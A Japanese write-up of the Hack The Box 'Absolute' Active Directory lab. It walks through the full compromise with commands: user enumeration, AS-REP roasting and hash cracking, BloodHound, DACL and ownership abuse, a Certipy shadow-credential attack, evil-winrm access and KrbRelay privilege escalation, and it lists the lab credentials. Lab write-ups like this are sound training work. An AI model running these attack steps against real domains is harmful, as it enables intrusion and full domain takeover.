HTB: Absolute (Hard) Writeup-ish

Hack the Box(HTB) AbsoluteのWriteupになります。実はリタイヤ前というのを気付かずやり始めて、終わった時にはリタイヤしていたという代物です。

## TL;DR
このBoxをやりきるには以下の知識が欠かせません。

- アクティブディレクトリの脆弱性診断の全般の知識
- アクティブディレクトリのPrivilege Escalationの全般知識
- ケルベロス認証を前提としたImpacketツールの知識
- Bloodhoundの知識
- ADCSの脆弱性
- 最新のblackhat, Defcon,等のアクティブディレクトリ関連の知識

HTBのActive Directory関連のHardやInsameの部類は、最近主流の脆弱性を取り入れています。また、それに関連してImpacketやBloodhoundのツールもアップデートされ、マスターにマージされる以前のモジュールも使われ始めているので注視が必要となります。

## Initial Recon
nmapの結果は以下になります。

```bash
export RHOST=xx.xx.xx.xx
sudo nmap -vv -sC -sV -p- -oA nmap/all --max-retries 0 $RHOST 
```
qviewというスクリプトを作成して、簡単に閲覧しています。ポート88,389,636,3268等が見れますので、Active Directoryというのはすぐに分かります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/c2984de7-5d39-9543-dc63-c3e3c2450c51.png)
rustscanでも試しましたが同様な結果となります。 
```bash
rustscan $RHOST -t 1000 -b 1000 -- -A
```
おおよその結果だけで良かったので、初めのスキャン結果を見て、止めました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/30e19665-364e-076a-ac81-5bd90ae8f2b2.png)

## Web (80) inspection
/etc/hostsファイルを以下のように編集して

```bash
cat /etc/hosts
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/4e3a9c53-3ecf-5207-2d18-1eca98adc5e6.png)

以下にアクセスしています。

http://absolute.htb/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/2addb79f-4b2f-af88-c950-3e6ae479b578.png)
ユーザ名等を仕入れる情報がないかと見てみましたがありません。ソースコードやリンク先も見てみました。
## Directory, File, and Subdomain (80) search 
定番のスキャンを実行してみます。何か特別のページが隠されているのかも... 
```bash
export URL=http://absolute.htb
feroxbuster -e -u "$URL" -x html txt asps asp htm -t 200 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
```
何も見つかりませんでした。FileサーチやSubdomainサーチをしましたが、見つかりません。

## Kerberos (88)
ADユーザを検査したいので、以下を実行します。
```
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d absolute.htb --dc $RHOST
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/999c65d0-253f-ff07-0ae5-f83d339c43f9.png)
Administratorしか見つかりませんでした。特殊？な名前を使っているのかもしれません。検査したユーザ名リストは大きいファイルですので、推測ですが、どこかにヒントになる名前リストがあるのかもしれません。SMB, Web, Ldap等がありますので、何か取得できるのかもしれません。

多くの人がここで次のポートチェックに移ると思いますし、私もそうしました。Autoreconを実行し、何かヒントになるものがあればと...
```bash
sudo -E su -p 
/opt/enum/AutoRecon/autorecon.py -vv -o autorecon/ $RHOST
```
何もありませんでした。ここでかなりの時間がかかっています。さすがHardの部類です。単純なコマンド実行では何も出てきません。ここからは、どこかに情報が隠されていると考えた方が良さそうです。

## Web Downloadable (80) search 
何かダウンロード出来るものがないか調べました。もしかすれば、imageの中にembedされているかもです。

```bash
for i in {1..10}; do curl "http://absolute.htb/images/hero_$i.jpg" > hero_$i.jpg; done
```
```bash
exiftool * | grep Author
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/f08c2e4a-cd6c-bcf1-a39b-c730b428bf7f.png)
ユーザ名が出てきました。

ユーザ名は少数だったので、以下のように手動で編集しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/c541ec47-84c4-2e86-0cc9-6e02df101113.png)

## Kerberos (88) again 
再度、kerbruteを使ってADユーザを検査します。
```bash
kerbrute userenum ./potential_users_list.txt -d absolute.htb --dc $RHOST
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/70340948-6dd4-2b08-785b-4b2f40e4bbb7.png)
幾らかのADユーザがヒットしました。ユーザ名の命名規則は、<\first name's initial>.<\last name>だったようです。d.klayはクラックできるハッシュ値も取得できています。

## AS-REP Roasting 
この脆弱性は、AS-REP Roastingとして知られています。

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

GetNPUsers.pyで取得しましょう。
```bash
GetNPUsers.py absolute.htb/d.klay -dc-ip 10.129.192.41 -no-pass -format hashcat
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/17e58ab4-d62a-8fca-b87d-eb321e7db888.png)
hashcatでクラックしてみます。
```bash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/60bfbdd1-a390-238b-c101-3b530c7e7259.png)
クラック出来たようです。

## ldap (389,636)
ユーザ名とパスワードが取得できたの一気にADにアクセスをかけたいのですが、問題がありました。
```bash
ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w Darkmoonsky248girl -s base
```
十分ググれてないですが、おそらくIDとパスワードでは認証出来ないために出てきたエラーです。たぶんProtected Users Groupに入っているユーザなのでしょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/44d3693d-79c8-6106-bf10-228418743ae3.png)
ここからは、ケルベロス認証を前提とした脆弱性診断に切り替える必要ありです。

## MIT Kerberos Documentation
ここからは、ケルベロスSamba認証で利用されるツール群も利用するので以下をザクっと読み進めるといいでしょう。
https://web.mit.edu/kerberos/krb5-1.13/doc/user/index.html
- kinit
- klist
はインストールしておきました。あと、kinitを利用するためには、KRB5CCNAMEの環境変数を利用するので、このあたりの設定も頭にいれておきます。
https://web.mit.edu/kerberos/krb5-1.13/doc/user/user_commands/kinit.html


## Kerberos (88) again 2
TGTチケットを取得してみます。
```bash
impacket-getTGT 'absolute.htb/d.klay:Darkmoonsky248girl' -dc-ip $RHOST
```
うまく行ったみたいです。
環境変数に入れ込みます。
```bash
export KRB5CCNAME=d.klay.ccache 
```

## Time Synchronization
なぜかTIME SKEWのようなエラーが多々発生するので以下のコマンドを実行します。
```bash
sudo ntpdate -u dc.absolute.htb
```

## ldap (389,636) with Kerberos Authentication
ケルベロス認証でLDAPクエリをかけてみます。
```bash
crackmapexec ldap dc.absolute.htb --use-kcache --users
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/23dc0096-094b-4972-e4a3-f17c344e5322.png)

ユーザ名とパスワードがあるエントリーも見えます。

次にsvc_smbユーザでファイル共有を検査します。
```bash
impacket-getTGT 'absolute.htb/svc_smb:AbsoluteSMBService123!' -dc-ip $RHOST
export KRB5CCNAME=svc_smb.ccache
crackmapexec smb dc.absolute.htb --use-kcache --shares
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/b0245bad-fb26-2bb7-afe7-843ba62090f6.png)
'Shared'というファイル共有名が見えます。

## smb (445) with Kerberos Authentication
通常のsmbclinetがエラーになるので、impacketのsmbclientを利用します。
```bash
impacket-smbclient -k -no-pass -dc-ip dc.absolute.htb 'dc.absolute.htb'
```
ログインした後、以下を実行します。
```bash
> use Shared
>ls
> get compiler.sh
> get test.exe
``` 
test.exeという解析可能なartifactが手に入りました。
## Executable with Wireshark
Wineでは作動しなかったのでtest.exeをWindowsに移動して、実行します。Wiresharkでネットワーク通信をキャプチャーすると、以下のようなデータが送信されていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/951fc845-aac1-e4cb-8f95-505d535923ad.png)

## 次の一手
さて次の攻撃は何にしますか？現在以下のようにユーザ名とパスワードが取得出来ています。

d.klay:Darkmoonsky248girl
svc_smb:AbsoluteSMBService123!
m.lovegod:AbsoluteLDAP2022!

smb, Ldap, rpc, winrmとTGTチケットを取得しながら、検査するでしょう。ただし残念ながらどれも成功しません。パスワードでのBloodhoundも動きませんでした。

では、どうしますか？　ケルベロス認証が前提の攻撃となるように想像します。

## Bloodhound with Kerberos Authentication
Bloodhoundのケルベロス認証を実施してみます。
```bash
bloodhound.py -k -u m.lovegod -p AbsoluteLDAP2022! --auth-method kerberos -d absolute.htb -dc dc.absolute.htb -ns 10.129.228.64 --dns-tcp --zip -c All
```
成功しました。
```bash
sudo neo4j console &
sudo bloodhound &
```

## Bloodhound GUI 
zipをアップロードし、左上のメニューから'Analysis'を選択し、'custom queries'を選びます。'Edit'ボタンをクリックし、以下のクエリーを実行してみてください。
```
MATCH (n:User) Return n
``` 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/e2501367-49db-7d86-bf82-190a582218f0.png)

そうするとユーザ全体のUIが表示されます。その中からM.Lovegodを選択し、'Node'情報をチェックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/29c5ad89-0ebc-7622-1308-401f5bd2a08c.png)
'Transitive Object Contorl'を選択してみてください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/9b02ae18-6ec1-e15a-aa43-2ebacebc9178.png)

M.LovegodユーザはNETWORK　AUDITグループのオーナーシップを持っていると表示されています。HelpでOwnsの意味を確認すると、グループメンバーに追加できる権限を付与出来る可能性があるそうです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/22f7fc18-d127-36b5-4356-ff95faa8d1cb.png)
おそらくここでの予想とすれば、M.LovegodユーザをNETWORK AUDITグループに追加し、WINRM－USERへクレデンシャルを別途追加(Shadow Credential Attack)できれば、TGTチケットが取得でき、WIMRM経由でこのマシーンに接続できそうです。この例では、PowerViewで実施できるとありますが、Kali上のPowerShellでうまく行かなかったので、WindowsVMを立ち上げるか、別の方法で実施するしかありません。


## Impacket
PowerViewで出来るツールがImpacketでも利用できます。Onwneredit.pyやDacledit.pyです。ただし正式にマージされていません。ImpacketでPullリクエストやマージ前のツールを利用するので、以下をダウンロードします。

https://github.com/ThePorgs/impacket

```bash
cd /opt/python
mkdir impackt_porgs
cd impacket_porgs
git clone https://github.com/ThePorgs/impacket
```
## Update Ownership Privilege to Write 
OWNEREDITでWrite権限を書き込みます。

```
export PYTHONPATH=/opt/python/impacket_porgs/impacket
KRB5CCNAME=m.lovegod.ccache python3 /opt/python/impacket_porgs/impacket/examples/owneredit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -new-owner m.lovegod -target 'Network Audit' -action write
```

## Give Full Control to M.Lovegod User
DACLEDITでFULLControl権限を付与してみます。
```
export PYTHONPATH=/opt/python/impacket_porgs/impacket
KRB5CCNAME=m.lovegod.ccache /opt/python/impacket_porgs/impacket/examples/dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl

```

## ADD a User to Group 
net rpc コマンドで、メンバーに追加してみます。
```bash
sudo apt install kinit
kinit m.loved

export PYTHONPATH=
export KRB5CCNAME=m.lovegod.ccache
net rpc group addmem "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb m.lovegod
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/81d42bb5-cde8-17b9-1923-3112ce981d09.png)
うまく行けば、エラーは何も発生しません。
おそらく時間制限が設定されているので、ひとつ前のFull Controlの権限付与から始めないとうまくいかない場合があります。
こんな感じのスクリプトを作成しておくと楽です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/22bc5aa5-cdb2-a53c-fd0f-cea2ebc559d3.png)

## グループへの追加確認
```bash
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "cn=m.lovegod,cn=users,dc=absolute,dc=htb"
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/1977b81d-1262-d461-59fa-4102323f0f2d.png)
memberOfの箇所にNetwork Auditが追加されています。

## Shadow Credential Attack (ADCS)
おそらくこの攻撃が最大の難関であろうと思います。以下のツールを利用します。

https://github.com/ly4k/Certipy

なぜADCSの脆弱性を利用するかって？それは、ユーザやコンピュータアカウントのクレデンシャルとして別途証明書という形で追加できるからです。ここでは、winrm_userのアカウントに別途認証の証明書を書き込んでいます。

まずADCSが存在するかみてみます。

```bash
export KRB5CCNAME=m.lovegod.ccache /opt/python/Certipy/venv/bin/certipy find -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip $RHOST -target dc.absolute.htb
```

そして、証明書を書き込んでみます。

```bash
export KRB5CCNAME=m.lovegod.ccache /opt/python/Certipy/venv/bin/certipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip $RHOST -target dc.absolute.htb -account winrm_user
```
そうすると、winrm_userのTGTチケットが取得できます。
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/2db46472-69fb-1a7e-a63c-089b3edb74f0.png)
成功しました。

## Initial Foothold - Evil-Winrm (5985)
evil-winrmで接続してみます。
```bash
KRB5CCNAME=winrm_user.ccache evil-winrm -r absolute.htb -i dc.absolute.htb
```
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/6a91f669-7dbe-7563-ccc8-6fa02ced716b.png)
ここでUser.txtフラグが拾えます。

## Privilege Escalation 
この作業もタフでした。私には手が負えませんでした。数時間やっても何も脆弱性が見つからなかったのでした。HTBの方にやり方を相談してみました。回答は、

- KrbRelayを使え！

でした。これからのプロジェクトでは、Windows関連のPrivilege Escalation脆弱性は、このKrbRelayの実行も付け加えようと思います。

内容を見ると、いままでさんざんケロべロス認証を使わせたので、ここでもケルベロス認証に関する脆弱性をつくもだったようです。Githubは以下のようになります。

https://github.com/cube0x0/KrbRelay
```
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user

```
これを見ると、Domain Admins グループに、ユーザを追加できそうです。winrm_userを追加してみます。

## Visual Studio 
以下のサイトからZipファイルをダウンロードして、コンパイルします。

https://github.com/cube0x0/KrbRelay
何も考えずにBUILDすればいいようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/d3cbb27e-17c1-b472-3aaa-770bcec8ad03.png)

## Evil-Winrm (5985)
再度アクセスして、uploadコマンドで、２つのアプリケーションをアップロードします。
```bash
KRB5CCNAME=winrm_user.ccache evil-winrm -r absolute.htb -i dc.absolute.htb
cd \programdata
upload CheckPort.exe
upload KrbRelay.exe
```

## KrbRelay.exe 

CheckPort.exeを実行すると
```
.\CheckPort.exe
```
Port 10と表示されます。
次に、KrbRelay.exeを実行してみます。
```bash
.\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember "Domain Admins" winm_user -Port 10
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/6913f129-ed3f-3691-e7fd-dacd0d45bb1f.png)

'COMExeption'というエラーになりました。ググったところ、Interactive sessionではないため、エラーになるようです。

## 選択肢

選択肢は２つで、Interactive sessionでログインするか、KrbRelay.exeをInteractive sessionではない方法で実行するかです。

ググると、RunasCsといツールがあり、ログオンタイプを変更して、実行できるものがあるようです。コンパイルされているバイナリーも存在するので、それをダウンロードします。

https://github.com/antonioCoco/RunasCs
https://github.com/antonioCoco/RunasCs/releases/tag/v1.5


## RunasCs
色々試行錯誤したところ、TrustedInstallのCLSIDが必要で、番号は、8F5DF053-3013-4dd8-B5F4-88214E81C0Cになります。
最終のコマンドは以下のようになります。

```
\RunasCs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9
".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user"
```
実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/11210e19-4051-c485-7773-bf5625b7dd32.png)

これで、既存のEvil-winrmセッションで、C:\Users\Administrator\Desktop等へ移動でき、Root.txtフラグが拾えます。